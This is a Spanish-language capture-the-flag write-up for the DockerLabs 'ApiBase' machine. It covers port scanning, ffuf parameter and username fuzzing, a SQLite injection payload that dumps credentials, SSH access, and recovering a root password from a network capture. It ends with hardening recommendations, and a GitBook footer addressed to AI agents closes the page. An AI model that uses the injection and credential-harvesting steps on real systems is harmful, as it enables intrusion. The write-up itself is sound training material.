> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/apibase.md).

# ApiBase

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux que expone una API basica desarrollada con Flask. La cadena se basa en enumerar endpoints y parametros, explotar una SQL Injection sobre SQLite para obtener credenciales, acceder por SSH como `pingu` y analizar una captura de red local que termina filtrando la password de `root`.

***

## Reconocimiento

Se comienza realizando un escaneo de versiones contra la maquina objetivo:

```bash
nmap -sV -n -Pn -T4 -p- 172.17.0.2
```

![Nmap](/files/RSD1EgAfhwBKpilB4yPB)

El escaneo muestra dos puertos abiertos:

| Puerto   | Servicio | Version                             |
| -------- | -------- | ----------------------------------- |
| 22/tcp   | SSH      | OpenSSH 8.4p1 Debian                |
| 5000/tcp | HTTP     | Werkzeug httpd 1.0.1 / Python 3.9.2 |

El puerto `5000` apunta a una aplicacion Python, asi que se empieza la enumeracion por la API web.

***

## Enumeracion de la API

Al acceder al servicio por navegador, la respuesta JSON indica que no se ha seleccionado ningun endpoint y sugiere rutas utiles:

```
http://172.17.0.2:5000
```

![API inicial](/files/Sq7bOUr7RMwNXPs59N9d)

La propia API devuelve el siguiente mensaje:

```json
{
  "message": "No endpoint selected. Please use /add to add a user or /users to query users."
}
```

Se prueba el endpoint `/users`, pero responde con error porque necesita algun parametro:

```
http://172.17.0.2:5000/users
```

![Users sin parametro](/files/i2wLiDKJEK3GOgD9bpM9)

***

## Fuzzing de parametros

Para descubrir el parametro esperado por `/users`, se realiza fuzzing sobre la query string:

```bash
ffuf -u http://172.17.0.2:5000/users?FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
```

![Fuzzing parametro](/files/QdvG4T4qLwFxCq0pEpEv)

El parametro interesante es:

```
username
```

Al consultarlo sin valor, la API pide introducir un usuario:

```
http://172.17.0.2:5000/users?username
```

![Parametro username](/files/B5vIlQB8n9tHksSsLpgu)

***

## Enumeracion de usuarios

Con el parametro identificado, se prueba fuerza bruta de nombres de usuario:

```bash
ffuf -u http://172.17.0.2:5000/users?username=FUZZ \
  -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
```

![Fuzzing usuarios](/files/qr2IZdkhOGV9fhMBrpKq)

Entre los resultados aparece el usuario:

```
pingu
```

Si se consulta directamente, la API devuelve informacion asociada a ese usuario:

```
http://172.17.0.2:5000/users?username=pingu
```

![Usuario pingu](/files/Ur33ocPct3ZpyU3Elhsc)

La respuesta contiene un registro con una password, pero se sigue probando el parametro para comprobar si existe algun fallo de inyeccion.

***

## SQL Injection

Al introducir una comilla simple en el parametro `username`, la aplicacion rompe y muestra un error de SQLite:

```
http://172.17.0.2:5000/users?username='
```

![Error SQLite](/files/p6ejLRUWVKDMhsX2uUGM)

El error confirma que el valor llega directamente a una consulta SQL. Se prueba un bypass clasico:

```
' OR 1=1-- -
```

![SQL Injection](/files/A4v8lXWnP70t7R3MJGkK)

La inyeccion devuelve varios registros de la tabla de usuarios:

| ID | Usuario | Password       |
| -- | ------- | -------------- |
| 1  | pingu   | your\_password |
| 2  | pingu   | pinguinasio    |

Aunque el usuario `pingu` ya se habia identificado por fuzzing, la SQL Injection permite ver tambien la password `pinguinasio`, que sera la credencial util para SSH.

***

## Acceso inicial

Con las credenciales obtenidas se accede por SSH como `pingu`:

```bash
ssh pingu@172.17.0.2
```

```
Usuario: pingu
Password: pinguinasio
```

Una vez dentro, se revisan privilegios `sudo`, pero el comando no esta disponible para el usuario. Tambien se buscan binarios SUID:

```bash
sudo -l
find / -perm -4000 -type f 2>/dev/null
```

![Enumeracion local](/files/a17Ccbdl5Fgipd17G2xp)

Los binarios encontrados son habituales y no dan un vector directo de escalada.

***

## Analisis de captura de red

En el directorio `/home` se localiza una captura de red llamada `network.pcap`. Se copia a la maquina atacante para analizarla con mas comodidad:

```bash
scp /home/network.pcap kali@172.17.0.1:/home/kali
```

![SCP pcap](/files/TThMcj4Vr10NqNXt3EpH)

Al abrir la captura con Wireshark y seguir los streams TCP, aparecen intentos de autenticacion:

![TCP stream login](/files/u4bhlja4keIpK57qUhJO)

Otro stream muestra que el acceso fue denegado:

![TCP stream denied](/files/Sr7eJ5h06IqaI3JsOUNt)

Para verlo rapidamente desde terminal, tambien se puede usar `strings`:

```bash
strings network.pcap
```

![Strings pcap](/files/RqPglxQpirDi6V6TVTvh)

La captura contiene credenciales en texto claro:

```
LOGIN root
PASS baulero
Access Denied
```

Aunque el servicio capturado deniega el acceso, la password queda expuesta y se prueba contra el usuario `root` del sistema.

***

## Escalada a root

Desde la shell de `pingu`, se usa la password encontrada en la captura:

```bash
su root
```

![Root](/files/CMJavYooGMroKPLCuQjM)

La password `baulero` es valida para `root` y se obtiene control total de la maquina:

```
whoami
root
```

***

## Conclusion

La maquina se compromete a partir de una API Flask expuesta en el puerto `5000`. La enumeracion permite identificar el endpoint `/users` y el parametro `username`. Despues, un error de SQLite al introducir una comilla simple revela una SQL Injection que permite extraer credenciales del usuario `pingu`.

Con `pingu:pinguinasio` se consigue acceso por SSH. La enumeracion local no ofrece una escalada directa mediante `sudo` o SUID, pero en `/home` aparece una captura `network.pcap`. Al analizarla con Wireshark o `strings`, se filtra la password `baulero`, que sirve para cambiar a `root`.

### Puntos clave

| Fase             | Tecnica                    | Resultado                      |
| ---------------- | -------------------------- | ------------------------------ |
| Reconocimiento   | Nmap                       | SSH y Flask/Werkzeug expuestos |
| Enumeracion API  | Revision de endpoints      | `/add` y `/users`              |
| Fuzzing          | ffuf                       | Parametro `username`           |
| Usuarios         | ffuf sobre `username`      | Usuario `pingu`                |
| Explotacion      | SQL Injection SQLite       | Password `pinguinasio`         |
| Acceso inicial   | SSH                        | Shell como `pingu`             |
| Post-explotacion | Analisis de `network.pcap` | Password `baulero`             |
| Escalada         | `su root`                  | Root                           |

### Recomendaciones

* Usar consultas parametrizadas para evitar SQL Injection.
* No mostrar trazas de error ni detalles internos de Flask/SQLite en produccion.
* Evitar almacenar o transmitir credenciales en texto claro.
* No dejar capturas de red con informacion sensible en directorios accesibles por usuarios.
* Usar passwords distintas para servicios internos y cuentas del sistema.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/apibase.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
